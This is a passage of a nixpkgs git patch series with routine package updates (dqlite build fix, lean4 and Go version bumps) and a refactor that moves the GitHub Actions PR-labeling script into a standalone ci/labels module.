+    rev = "88730a992f9bfccf52b6f2a9554ed9a3db697a70";
+    hash = "sha256-f2cKgcZ/5A3mSRwfI7h8DsaN15oVnXrg7PejsK8eXGc=";
   };
 
   vendorHash = "sha256-ptwP+ZuuzxRpIuNDoXnAML1KYEh9zTBcOs9YTI8z63A=";

From 6703e5695b791376c51a5738f26c6315335926e9 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 8 Jun 2025 13:32:08 +0800
Subject: [PATCH 2179/4511] dqlite: fix build

(cherry picked from commit 79bd3e9c48b26697c0b6ef4ec3b736e0de62b0be)
---
 pkgs/by-name/dq/dqlite/package.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/by-name/dq/dqlite/package.nix b/pkgs/by-name/dq/dqlite/package.nix
index 3a4040d2c9a3..773791e299d2 100644
--- a/pkgs/by-name/dq/dqlite/package.nix
+++ b/pkgs/by-name/dq/dqlite/package.nix
@@ -2,6 +2,7 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  fetchpatch2,
   autoreconfHook,
   pkg-config,
   file,
@@ -22,6 +23,13 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-7ou077ozbpH21PcvEEcprr4UYJ/X398Ph9dh5C3YyBQ=";
   };
 
+  patches = [
+    (fetchpatch2 {
+      url = "https://github.com/canonical/dqlite/commit/be453628ce782167f6652c055e600908e2641da7.patch?full_index=1";
+      hash = "sha256-5DvZ1TW6QmE/heh/RjV395gSgwKM5XnqxqznfYQPC/Y=";
+    })
+  ];
+
   nativeBuildInputs = [
     autoreconfHook
     file

From b9d4bfd8df0a467d42d57db5780f48e4d7aae8e7 Mon Sep 17 00:00:00 2001
From: jthulhu <adrien.lc.mathieu@gmail.com>
Date: Thu, 19 Jun 2025 08:37:41 +0200
Subject: [PATCH 2180/4511] lean4: 4.19.0 -> 4.20.0

Release notes:
- https://github.com/leanprover/lean4/releases/tag/v4.20.0-rc1
- https://github.com/leanprover/lean4/releases/tag/v4.20.0-rc2
- https://github.com/leanprover/lean4/releases/tag/v4.20.0-rc3
- https://github.com/leanprover/lean4/releases/tag/v4.20.0-rc4
- https://github.com/leanprover/lean4/releases/tag/v4.20.0-rc5
- https://github.com/leanprover/lean4/releases/tag/v4.20.0

(cherry picked from commit 4085f84cc3c031aefd04d1ddd5c9c6912788a860)
---
 pkgs/by-name/le/lean4/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/le/lean4/package.nix b/pkgs/by-name/le/lean4/package.nix
index 0bb21efe3835..d47474effe06 100644
--- a/pkgs/by-name/le/lean4/package.nix
+++ b/pkgs/by-name/le/lean4/package.nix
@@ -15,7 +15,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lean4";
-  version = "4.19.0";
+  version = "4.20.0";
 
   # Using a vendored version rather than nixpkgs' version to match the exact version required by
   # Lean.  Apparently, even a slight version change can impact greatly the final performance.
@@ -30,7 +30,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "leanprover";
     repo = "lean4";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Iw5JSamrty9l6aJ2WwslAolSHfi2q0UO8P8HI1gp+j8=";
+    hash = "sha256-1V3Uk96wdNJ3IP+hvXb5Hep8w8QK8GjqaeTVG+KUqXU=";
   };
 
   postPatch =
@@ -48,7 +48,7 @@ stdenv.mkDerivation (finalAttrs: {
     + (lib.optionalString enableMimalloc ''
       substituteInPlace CMakeLists.txt \
         --replace-fail 'MIMALLOC-SRC' '${finalAttrs.mimalloc-src}'
-      for file in src/CMakeLists.txt src/runtime/CMakeLists.txt; do
+      for file in stage0/src/CMakeLists.txt stage0/src/runtime/CMakeLists.txt src/CMakeLists.txt src/runtime/CMakeLists.txt; do
         substituteInPlace "$file" \
           --replace-fail '${pattern}' '${finalAttrs.mimalloc-src}'
       done

From 7f5eb75254dbc0762b739269e0f856e638585333 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Wed, 9 Jul 2025 09:38:31 +1000
Subject: [PATCH 2181/4511] go_1_23: 1.23.10 -> 1.23.11

Changelog: https://go.dev/doc/devel/release#go1.23.11
(cherry picked from commit bd6de4f234337b6d8009af2a0099689636ae8429)
---
 pkgs/development/compilers/go/1.23.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/go/1.23.nix b/pkgs/development/compilers/go/1.23.nix
index 8921fcd0b328..e9069e366a92 100644
--- a/pkgs/development/compilers/go/1.23.nix
+++ b/pkgs/development/compilers/go/1.23.nix
@@ -27,11 +27,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "go";
-  version = "1.23.10";
+  version = "1.23.11";
 
   src = fetchurl {
     url = "https://go.dev/dl/go${finalAttrs.version}.src.tar.gz";
-    hash = "sha256-gAp64b/xeaIntlOi9kRRfIAEQ7i0q/MnOvXhy3ET3lk=";
+    hash = "sha256-KWOBYHpIOoqGZ9dpUzF1L5Sh8jHCBOJSfS8i4ePRJH0=";
   };
 
   strictDeps = true;

From de90fc7aeb2f0fabe44d7c10737d6eb4682acd06 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Wed, 9 Jul 2025 09:38:59 +1000
Subject: [PATCH 2182/4511] go_1_24: 1.24.4 -> 1.24.5

Changelog: https://go.dev/doc/devel/release#go1.24
(cherry picked from commit 885017bf9e63391f9ab9222061fe075a8eefcaad)
---
 pkgs/development/compilers/go/1.24.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/go/1.24.nix b/pkgs/development/compilers/go/1.24.nix
index b6b7e1788485..c3619214a42c 100644
--- a/pkgs/development/compilers/go/1.24.nix
+++ b/pkgs/development/compilers/go/1.24.nix
@@ -27,11 +27,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "go";
-  version = "1.24.4";
+  version = "1.24.5";
 
   src = fetchurl {
     url = "https://go.dev/dl/go${finalAttrs.version}.src.tar.gz";
-    hash = "sha256-WoaoOjH5+oFJC4xUIKw4T9PZWj5x+6Zlx7P5XR3+8rQ=";
+    hash = "sha256-dP2wnyNS4rJbeUPlaDbJtHNj0o3sHItWxKlXDzC49Z8=";
   };
 
   strictDeps = true;

From 6f570b6fb8adba8031cc4839952c2206e85ea3d6 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 7 Jul 2025 18:57:36 +0200
Subject: [PATCH 2183/4511] workflows/labels: small refactor

To avoid having a diff when moving the file in the next commit.

(cherry picked from commit e90c62d5abd0162421dd6ffefe8b2a45ae679b58)
---
 .github/workflows/labels.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index c6ffd31ee1a2..b27a937098ec 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -377,7 +377,7 @@ jobs:
                   github.rest.search.issuesAndPullRequests,
                   {
                     q: [
-                      `repo:"${process.env.GITHUB_REPOSITORY}"`,
+                      `repo:"${context.repo.owner}/${context.repo.repo}"`,
                       'is:open',
                       `updated:>=${cutoff.toISOString()}`
                     ].join(' AND '),

From 79af7b5419729b2629f6efba7ae0719abf7023f0 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 7 Jul 2025 18:56:07 +0200
Subject: [PATCH 2184/4511] ci/labels: init from workflows/labels

Moves the labels job into a separate ci/ subfolder to run it locally.
This eases debugging *a lot*.

(cherry picked from commit 89ee8975ab70b62e7eb163d2e7f25082a66742e1)
---
 .github/workflows/labels.yml |  408 +-------
 ci/labels/.editorconfig      |    4 +
 ci/labels/.gitignore         |    1 +
 ci/labels/.npmrc             |    1 +
 ci/labels/README.md          |    4 +
 ci/labels/labels.cjs         |  402 +++++++
 ci/labels/package-lock.json  | 1897 ++++++++++++++++++++++++++++++++++
 ci/labels/package.json       |    9 +
 ci/labels/run.js             |   44 +
 ci/labels/shell.nix          |   23 +
 10 files changed, 2394 insertions(+), 399 deletions(-)
 create mode 100644 ci/labels/.editorconfig
 create mode 100644 ci/labels/.gitignore
 create mode 100644 ci/labels/.npmrc
 create mode 100644 ci/labels/README.md
 create mode 100644 ci/labels/labels.cjs
 create mode 100644 ci/labels/package-lock.json
 create mode 100644 ci/labels/package.json
 create mode 100755 ci/labels/run.js
 create mode 100644 ci/labels/shell.nix

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index b27a937098ec..e4a4205f3eba 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -40,6 +40,11 @@ jobs:
     runs-on: ubuntu-24.04-arm
     if: github.event_name != 'schedule' || github.repository_owner == 'NixOS'
     steps:
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
+        with:
+          sparse-checkout: |
+            ci/labels
+
       - name: Install dependencies
         run: npm install @actions/artifact bottleneck
 
@@ -64,406 +69,11 @@ jobs:
           github-token: ${{ steps.app-token.outputs.token || github.token }}
           retries: 3
           script: |
-            const Bottleneck = require('bottleneck')
-            const path = require('node:path')
-            const { DefaultArtifactClient } = require('@actions/artifact')
-            const { readFile, writeFile } = require('node:fs/promises')
-
-            const artifactClient = new DefaultArtifactClient()
-
-            const stats = {
-              issues: 0,
-              prs: 0,
-              requests: 0,
-              artifacts: 0
-            }
-
-            // Rate-Limiting and Throttling, see for details:
-            //   https://github.com/octokit/octokit.js/issues/1069#throttling
-            //   https://docs.github.com/en/rest/using-the-rest-api/best-practices-for-using-the-rest-api
-            const allLimits = new Bottleneck({
-              // Avoid concurrent requests
-              maxConcurrent: 1,
-              // Will be updated with first `updateReservoir()` call below.
-              reservoir: 0
+            require('./ci/labels/labels.cjs')({
+              github,
+              context,
+              core,
             })
-            // Pause between mutative requests
-            const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits)
-            github.hook.wrap('request', async (request, options) => {
-              // Requests to the /rate_limit endpoint do not count against the rate limit.
-              if (options.url == '/rate_limit') return request(options)
-              // Search requests are in a different resource group, which allows 30 requests / minute.
-              // We do less than a handful each run, so not implementing throttling for now.
-              if (options.url.startsWith('/search/')) return request(options)
-              stats.requests++
-              if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method))
-                return writeLimits.schedule(request.bind(null, options))
-              else
-                return allLimits.schedule(request.bind(null, options))
-            })
-
-            async function updateReservoir() {
-              let response
-              try {
-                response = await github.rest.rateLimit.get()
-              } catch (err) {
-                core.error(`Failed updating reservoir:\n${err}`)
-                // Keep retrying on failed rate limit requests instead of exiting the script early.
-                return
-              }
-              // Always keep 1000 spare requests for other jobs to do their regular duty.
-              // They normally use below 100, so 1000 is *plenty* of room to work with.
-              const reservoir = Math.max(0, response.data.resources.core.remaining - 1000)
-              core.info(`Updating reservoir to: ${reservoir}`)
-              allLimits.updateSettings({ reservoir })
-            }
-            await updateReservoir()
-            // Update remaining requests every minute to account for other jobs running in parallel.
-            const reservoirUpdater = setInterval(updateReservoir, 60 * 1000)
-
-            async function handlePullRequest(item) {
-              const log = (k,v) => core.info(`PR #${item.number} - ${k}: ${v}`)
-
-              const pull_number = item.number
-
-              // This API request is important for the merge-conflict label, because it triggers the
-              // creation of a new test merge commit. This is needed to actually determine the state of a PR.
-              const pull_request = (await github.rest.pulls.get({
-                ...context.repo,
-                pull_number
-              })).data
-
-              const reviews = await github.paginate(github.rest.pulls.listReviews, {
-                  ...context.repo,
-                  pull_number
-                })
-
-              const approvals = new Set(
-                reviews
-                .filter(review => review.state == 'APPROVED')
-                .map(review => review.user?.id)
-              )
-
-              // After creation of a Pull Request, `merge_commit_sha` will be null initially:
-              // The very first merge commit will only be calculated after a little while.
-              // To avoid labeling the PR as conflicted before that, we wait a few minutes.
-              // This is intentionally less than the time that Eval takes, so that the label job
-              // running after Eval can indeed label the PR as conflicted if that is the case.
-              const merge_commit_sha_valid = new Date() - new Date(pull_request.created_at) > 3 * 60 * 1000
-
-              const prLabels = {
-                // We intentionally don't use the mergeable or mergeable_state attributes.
-                // Those have an intermediate state while the test merge commit is created.
-                // This doesn't work well for us, because we might have just triggered another
-                // test merge commit creation by request the pull request via API at the start
-                // of this function.
-                // The attribute merge_commit_sha keeps the old value of null or the hash *until*
-                // the new test merge commit has either successfully been created or failed so.
-                // This essentially means we are updating the merge conflict label in two steps:
-                // On the first pass of the day, we just fetch the pull request, which triggers
-                // the creation. At this stage, the label is likely not updated, yet.
-                // The second pass will then read the result from the first pass and set the label.
-                '2.status: merge conflict': merge_commit_sha_valid && !pull_request.merge_commit_sha,
-                '12.approvals: 1': approvals.size == 1,
-                '12.approvals: 2': approvals.size == 2,
-                '12.approvals: 3+': approvals.size >= 3,
-                '12.first-time contribution':
-                  [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association),
-              }
-
-              const { id: run_id, conclusion } = (await github.rest.actions.listWorkflowRuns({
-                ...context.repo,
-                workflow_id: 'pr.yml',
-                event: 'pull_request_target',
-                exclude_pull_requests: true,
-                head_sha: pull_request.head.sha
-              })).data.workflow_runs[0] ??
-                // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired.
-                (await github.rest.actions.listWorkflowRuns({
-                  ...context.repo,
-                  // In older PRs, we need eval.yml instead of pr.yml.
-                  workflow_id: 'eval.yml',
-                  event: 'pull_request_target',
-                  status: 'success',
-                  exclude_pull_requests: true,
-                  head_sha: pull_request.head.sha
-                })).data.workflow_runs[0] ?? {}
-
-              // Newer PRs might not have run Eval to completion, yet.
-              // Older PRs might not have an eval.yml workflow, yet.
-              // In either case we continue without fetching an artifact on a best-effort basis.
-              log('Last eval run', run_id ?? '<n/a>')
-
-              if (conclusion === 'success') {
-                Object.assign(prLabels, {
-                  // We only set this label if the latest eval run was successful, because if it was not, it
-                  // *could* have requested reviewers. We will let the PR author fix CI first, before "escalating"
-                  // this PR to "needs: reviewer".
-                  // Since the first Eval run on a PR always sets rebuild labels, the same PR will be "recently
-                  // updated" for the next scheduled run. Thus, this label will still be set within a few minutes
-                  // after a PR is created, if required.
-                  // Note that a "requested reviewer" disappears once they have given a review, so we check
-                  // existing reviews, too.
-                  '9.needs: reviewer':
-                    !pull_request.draft &&
-                    pull_request.requested_reviewers.length == 0 &&
-                    reviews.length == 0,
-                })
-              }
-
-              const artifact = run_id && (await github.rest.actions.listWorkflowRunArtifacts({
-                ...context.repo,
-                run_id,
-                name: 'comparison'
-              })).data.artifacts[0]
-
-              // Instead of checking the boolean artifact.expired, we will give us a minute to
-              // actually download the artifact in the next step and avoid that race condition.
-              // Older PRs, where the workflow run was already eval.yml, but the artifact was not
-              // called "comparison", yet, will skip the download.
-              const expired = !artifact || new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)
-              log('Artifact expires at', artifact?.expires_at ?? '<n/a>')
-              if (!expired) {
-                stats.artifacts++
-
-                await artifactClient.downloadArtifact(artifact.id, {
-                  findBy: {
-                    repositoryName: context.repo.repo,
-                    repositoryOwner: context.repo.owner,
-                    token: core.getInput('github-token')
-                  },
-                  path: path.resolve(pull_number.toString()),
-                  expectedHash: artifact.digest
-                })
-
-                const maintainers = new Set(Object.keys(
-                  JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8'))
-                ).map(m => Number.parseInt(m, 10)))
-
-                const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels
-
-                Object.assign(
-                  prLabels,
-                  // Ignore `evalLabels` if it's an array.
-                  // This can happen for older eval runs, before we switched to objects.
-                  // The old eval labels would have been set by the eval run,
-                  // so now they'll be present in `before`.
-                  // TODO: Simplify once old eval results have expired (~2025-10)
-                  (Array.isArray(evalLabels) ? undefined : evalLabels),
-                  {
-                    '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)),
-                  }
-                )
-              }
-
-              return prLabels
-            }
-
-            async function handle(item) {
-              try {
-                const log = (k,v,skip) => {
-                  core.info(`#${item.number} - ${k}: ${v}` + (skip ? ' (skipped)' : ''))
-                  return skip
-                }
-
-                log('Last updated at', item.updated_at)
-                log('URL', item.html_url)
-
-                const issue_number = item.number
-
-                const itemLabels = {}
-
-                if (item.pull_request) {
-                  stats.prs++
-                  Object.assign(itemLabels, await handlePullRequest(item))
-                } else {
-                  stats.issues++
-                }
-
-                const latest_event_at = new Date(
-                  (await github.paginate(
-                    github.rest.issues.listEventsForTimeline,
-                    {
-                      ...context.repo,
-                      issue_number,
-                      per_page: 100
-                    }
-                  ))
-                  .filter(({ event }) => [
-                    // These events are hand-picked from:
-                    //   https://docs.github.com/en/rest/using-the-rest-api/issue-event-types?apiVersion=2022-11-28
-                    // Each of those causes a PR/issue to *not* be considered as stale anymore.
-                    // Most of these use created_at.
-                    'assigned',
-                    'commented', // uses updated_at, because that could be > created_at
-                    'committed', // uses committer.date
-                    'head_ref_force_pushed',
-                    'milestoned',
-                    'pinned',
-                    'ready_for_review',
-                    'renamed',
-                    'reopened',
-                    'review_dismissed',
-                    'review_requested',
-                    'reviewed', // uses submitted_at
-                    'unlocked',
-                    'unmarked_as_duplicate',
-                  ].includes(event))
-                  .map(({ created_at, updated_at, committer, submitted_at }) => new Date(updated_at ?? created_at ?? submitted_at ?? committer.date))
-                  // Reverse sort by date value. The default sort() sorts by string representation, which is bad for dates.
-                  .sort((a,b) => b-a)
-                  .at(0) ?? item.created_at
-                )
-                log('latest_event_at', latest_event_at.toISOString())
-
-                const stale_at = new Date(new Date().setDate(new Date().getDate() - 180))
-
-                // Create a map (Label -> Boolean) of all currently set labels.
-                // Each label is set to True and can be disabled later.
-                const before = Object.fromEntries(
-                  (await github.paginate(github.rest.issues.listLabelsOnIssue, {
-                    ...context.repo,
-                    issue_number
-                  }))
-                  .map(({ name }) => [name, true])
-                )
-
-                Object.assign(itemLabels, {
-                  '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at,
-                })
-
-                const after = Object.assign({}, before, itemLabels)
-
-                // No need for an API request, if all labels are the same.
-                const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name])
-                if (log('Has changes', hasChanges, !hasChanges))
-                  return;
-
-                // Skipping labeling on a pull_request event, because we have no privileges.
-                const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name)
-                if (log('Set labels', labels, context.eventName == 'pull_request'))
-                  return;
-
-                await github.rest.issues.setLabels({
-                  ...context.repo,
-                  issue_number,
-                  labels
-                })
-              } catch (cause) {
-                throw new Error(`Labeling #${item.number} failed.`, { cause })
-              }
-            }
-
-            try {
-              if (context.payload.pull_request) {
-                await handle(context.payload.pull_request)
-              } else {
-                const lastRun = (await github.rest.actions.listWorkflowRuns({
-                  ...context.repo,
-                  workflow_id: 'labels.yml',
-                  event: 'schedule',
-                  status: 'success',
-                  exclude_pull_requests: true,
-                  per_page: 1
-                })).data.workflow_runs[0]
-
-                // Go back as far as the last successful run of this workflow to make sure
-                // we are not leaving anyone behind on GHA failures.
-                // Defaults to go back 1 hour on the first run.
-                const cutoff = new Date(lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000)
-                core.info('cutoff timestamp: ' + cutoff.toISOString())
-
-                const updatedItems = await github.paginate(
-                  github.rest.search.issuesAndPullRequests,
-                  {
-                    q: [
-                      `repo:"${context.repo.owner}/${context.repo.repo}"`,
-                      'is:open',
-                      `updated:>=${cutoff.toISOString()}`
-                    ].join(' AND '),
-                    // TODO: Remove in 2025-10, when it becomes the default.
-                    advanced_search: true
-                  }
-                )
-
-                let cursor
-
-                // No workflow run available the first time.
-                if (lastRun) {
-                  // The cursor to iterate through the full list of issues and pull requests
-                  // is passed between jobs as an artifact.
-                  const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
-                    ...context.repo,
-                    run_id: lastRun.id,
-                    name: 'pagination-cursor'
-                  })).data.artifacts[0]
-
-                  // If the artifact is not available, the next iteration starts at the beginning.
-                  if (artifact) {
-                    stats.artifacts++
-
-                    const { downloadPath } = await artifactClient.downloadArtifact(artifact.id, {
-                      findBy: {
-                        repositoryName: context.repo.repo,
-                        repositoryOwner: context.repo.owner,
-                        token: core.getInput('github-token')
-                      },
-                      expectedHash: artifact.digest
-                    })
-
-                    cursor = await readFile(path.resolve(downloadPath, 'cursor'), 'utf-8')
-                  }
-                }
-
-                // From GitHub's API docs:
-                //   GitHub's REST API considers every pull request an issue, but not every issue is a pull request.
-                //   For this reason, "Issues" endpoints may return both issues and pull requests in the response.
-                //   You can identify pull requests by the pull_request key.
-                const allItems = await github.rest.issues.listForRepo({
-                  ...context.repo,
-                  state: 'open',
-                  sort: 'created',
-                  direction: 'asc',
-                  per_page: 100,
-                  after: cursor
-                })
-
-                // Regex taken and comment adjusted from:
-                // https://github.com/octokit/plugin-paginate-rest.js/blob/8e5da25f975d2f31dda6b8b588d71f2c768a8df2/src/iterator.ts#L36-L41
-                // `allItems.headers.link` format:
-                //   <https://api.github.com/repositories/4542716/issues?page=3&per_page=100&after=Y3Vyc29yOnYyOpLPAAABl8qNnYDOvnSJxA%3D%3D>; rel="next",
-                //   <https://api.github.com/repositories/4542716/issues?page=1&per_page=100&before=Y3Vyc29yOnYyOpLPAAABl8xFV9DOvoouJg%3D%3D>; rel="prev"
-                // Sets `next` to undefined if "next" URL is not present or `link` header is not set.
-                const next = ((allItems.headers.link ?? '').match(/<([^<>]+)>;\s*rel="next"/) ?? [])[1]
-                if (next) {
-                  cursor = new URL(next).searchParams.get('after')
-                  const uploadPath = path.resolve('cursor')
-                  await writeFile(uploadPath, cursor, 'utf-8')
-                  // No stats.artifacts++, because this does not allow passing a custom token.
-                  // Thus, the upload will not happen with the app token, but the default github.token.
-                  await artifactClient.uploadArtifact(
-                    'pagination-cursor',
-                    [uploadPath],
-                    path.resolve('.'),
-                    {
-                      retentionDays: 1
-                    }
-                  )
-                }
-
-                // Some items might be in both search results, so filtering out duplicates as well.
-                const items = [].concat(updatedItems, allItems.data)
-                  .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number))
-
-                ;(await Promise.allSettled(items.map(handle)))
-                  .filter(({ status }) => status == 'rejected')
-                  .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
-
-                core.notice(`Processed ${stats.prs} PRs, ${stats.issues} Issues, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
-              }
-            } finally {
-              clearInterval(reservoirUpdater)
-            }
 
       - name: Log current API rate limits
         env:
diff --git a/ci/labels/.editorconfig b/ci/labels/.editorconfig
new file mode 100644
index 000000000000..08ca1a194873
--- /dev/null
+++ b/ci/labels/.editorconfig
@@ -0,0 +1,4 @@
+# TODO: Move to <top-level>/.editorconfig, once ci/.editorconfig has made its way through staging.
+[*.cjs]
+indent_style = space
+indent_size = 2
diff --git a/ci/labels/.gitignore b/ci/labels/.gitignore
new file mode 100644
index 000000000000..3c3629e647f5
--- /dev/null
+++ b/ci/labels/.gitignore
@@ -0,0 +1 @@
+node_modules
diff --git a/ci/labels/.npmrc b/ci/labels/.npmrc
new file mode 100644
index 000000000000..f91a336f47b6
--- /dev/null
+++ b/ci/labels/.npmrc
@@ -0,0 +1 @@
+package-lock-only = true
diff --git a/ci/labels/README.md b/ci/labels/README.md
new file mode 100644
index 000000000000..4631437a9654
--- /dev/null
+++ b/ci/labels/README.md
@@ -0,0 +1,4 @@
+To test the labeler locally:
+- Provide `gh` on `PATH` and make sure it's authenticated.
+- Enter `nix-shell` in `./ci/labels`.
+- Run `./run.js OWNER REPO`, where OWNER is your username and REPO the name of your fork (normally nixpkgs).
diff --git a/ci/labels/labels.cjs b/ci/labels/labels.cjs
new file mode 100644
index 000000000000..cafd79089c5e
--- /dev/null
+++ b/ci/labels/labels.cjs
@@ -0,0 +1,402 @@
+module.exports = async function({ github, context, core }) {
+  const Bottleneck = require('bottleneck')
+  const path = require('node:path')
+  const { DefaultArtifactClient } = require('@actions/artifact')
+  const { readFile, writeFile } = require('node:fs/promises')
+
+  const artifactClient = new DefaultArtifactClient()
+
+  const stats = {
+    issues: 0,
+    prs: 0,
+    requests: 0,
+    artifacts: 0
+  }
+
+  // Rate-Limiting and Throttling, see for details:
+  //   https://github.com/octokit/octokit.js/issues/1069#throttling
+  //   https://docs.github.com/en/rest/using-the-rest-api/best-practices-for-using-the-rest-api
+  const allLimits = new Bottleneck({
+    // Avoid concurrent requests
+    maxConcurrent: 1,
+    // Will be updated with first `updateReservoir()` call below.
+    reservoir: 0
+  })
+  // Pause between mutative requests
+  const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits)
+  github.hook.wrap('request', async (request, options) => {
+    // Requests to the /rate_limit endpoint do not count against the rate limit.
+    if (options.url == '/rate_limit') return request(options)
+    // Search requests are in a different resource group, which allows 30 requests / minute.
+    // We do less than a handful each run, so not implementing throttling for now.
+    if (options.url.startsWith('/search/')) return request(options)
+    stats.requests++
+    if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method))
+      return writeLimits.schedule(request.bind(null, options))
+    else
+      return allLimits.schedule(request.bind(null, options))
+  })
+
+  async function updateReservoir() {
+    let response
+    try {
+      response = await github.rest.rateLimit.get()
+    } catch (err) {
+      core.error(`Failed updating reservoir:\n${err}`)
+      // Keep retrying on failed rate limit requests instead of exiting the script early.
+      return
+    }
+    // Always keep 1000 spare requests for other jobs to do their regular duty.
+    // They normally use below 100, so 1000 is *plenty* of room to work with.
+    const reservoir = Math.max(0, response.data.resources.core.remaining - 1000)
+    core.info(`Updating reservoir to: ${reservoir}`)
+    allLimits.updateSettings({ reservoir })
+  }
+  await updateReservoir()
+  // Update remaining requests every minute to account for other jobs running in parallel.
+  const reservoirUpdater = setInterval(updateReservoir, 60 * 1000)
+
+  async function handlePullRequest(item) {
+    const log = (k,v) => core.info(`PR #${item.number} - ${k}: ${v}`)
+
+    const pull_number = item.number
+
+    // This API request is important for the merge-conflict label, because it triggers the
+    // creation of a new test merge commit. This is needed to actually determine the state of a PR.
+    const pull_request = (await github.rest.pulls.get({
+      ...context.repo,
+      pull_number
+    })).data
+
+    const reviews = await github.paginate(github.rest.pulls.listReviews, {
+        ...context.repo,
+        pull_number
+      })
+
+    const approvals = new Set(
+      reviews
+      .filter(review => review.state == 'APPROVED')
+      .map(review => review.user?.id)
+    )
+
+    // After creation of a Pull Request, `merge_commit_sha` will be null initially:
+    // The very first merge commit will only be calculated after a little while.
+    // To avoid labeling the PR as conflicted before that, we wait a few minutes.
+    // This is intentionally less than the time that Eval takes, so that the label job
+    // running after Eval can indeed label the PR as conflicted if that is the case.
+    const merge_commit_sha_valid = new Date() - new Date(pull_request.created_at) > 3 * 60 * 1000
+
+    const prLabels = {
+      // We intentionally don't use the mergeable or mergeable_state attributes.
+      // Those have an intermediate state while the test merge commit is created.
+      // This doesn't work well for us, because we might have just triggered another
+      // test merge commit creation by request the pull request via API at the start
+      // of this function.
+      // The attribute merge_commit_sha keeps the old value of null or the hash *until*
+      // the new test merge commit has either successfully been created or failed so.
+      // This essentially means we are updating the merge conflict label in two steps:
+      // On the first pass of the day, we just fetch the pull request, which triggers
+      // the creation. At this stage, the label is likely not updated, yet.
+      // The second pass will then read the result from the first pass and set the label.
+      '2.status: merge conflict': merge_commit_sha_valid && !pull_request.merge_commit_sha,
+      '12.approvals: 1': approvals.size == 1,
+      '12.approvals: 2': approvals.size == 2,
+      '12.approvals: 3+': approvals.size >= 3,
+      '12.first-time contribution':
+        [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association),
+    }
+
+    const { id: run_id, conclusion } = (await github.rest.actions.listWorkflowRuns({
+      ...context.repo,
+      workflow_id: 'pr.yml',
+      event: 'pull_request_target',
+      exclude_pull_requests: true,
+      head_sha: pull_request.head.sha
+    })).data.workflow_runs[0] ??
+      // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired.
+      (await github.rest.actions.listWorkflowRuns({
+        ...context.repo,
+        // In older PRs, we need eval.yml instead of pr.yml.
+        workflow_id: 'eval.yml',
+        event: 'pull_request_target',
+        status: 'success',
+        exclude_pull_requests: true,
+        head_sha: pull_request.head.sha
+      })).data.workflow_runs[0] ?? {}
+
+    // Newer PRs might not have run Eval to completion, yet.
+    // Older PRs might not have an eval.yml workflow, yet.
+    // In either case we continue without fetching an artifact on a best-effort basis.
+    log('Last eval run', run_id ?? '<n/a>')
+
+    if (conclusion === 'success') {
+      Object.assign(prLabels, {
+        // We only set this label if the latest eval run was successful, because if it was not, it
+        // *could* have requested reviewers. We will let the PR author fix CI first, before "escalating"
+        // this PR to "needs: reviewer".
+        // Since the first Eval run on a PR always sets rebuild labels, the same PR will be "recently
+        // updated" for the next scheduled run. Thus, this label will still be set within a few minutes
+        // after a PR is created, if required.
+        // Note that a "requested reviewer" disappears once they have given a review, so we check
+        // existing reviews, too.
+        '9.needs: reviewer':
+          !pull_request.draft &&
+          pull_request.requested_reviewers.length == 0 &&
+          reviews.length == 0,
+      })
+    }
+
+    const artifact = run_id && (await github.rest.actions.listWorkflowRunArtifacts({
+      ...context.repo,
+      run_id,
+      name: 'comparison'
+    })).data.artifacts[0]
+
+    // Instead of checking the boolean artifact.expired, we will give us a minute to
+    // actually download the artifact in the next step and avoid that race condition.
+    // Older PRs, where the workflow run was already eval.yml, but the artifact was not
+    // called "comparison", yet, will skip the download.
+    const expired = !artifact || new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)
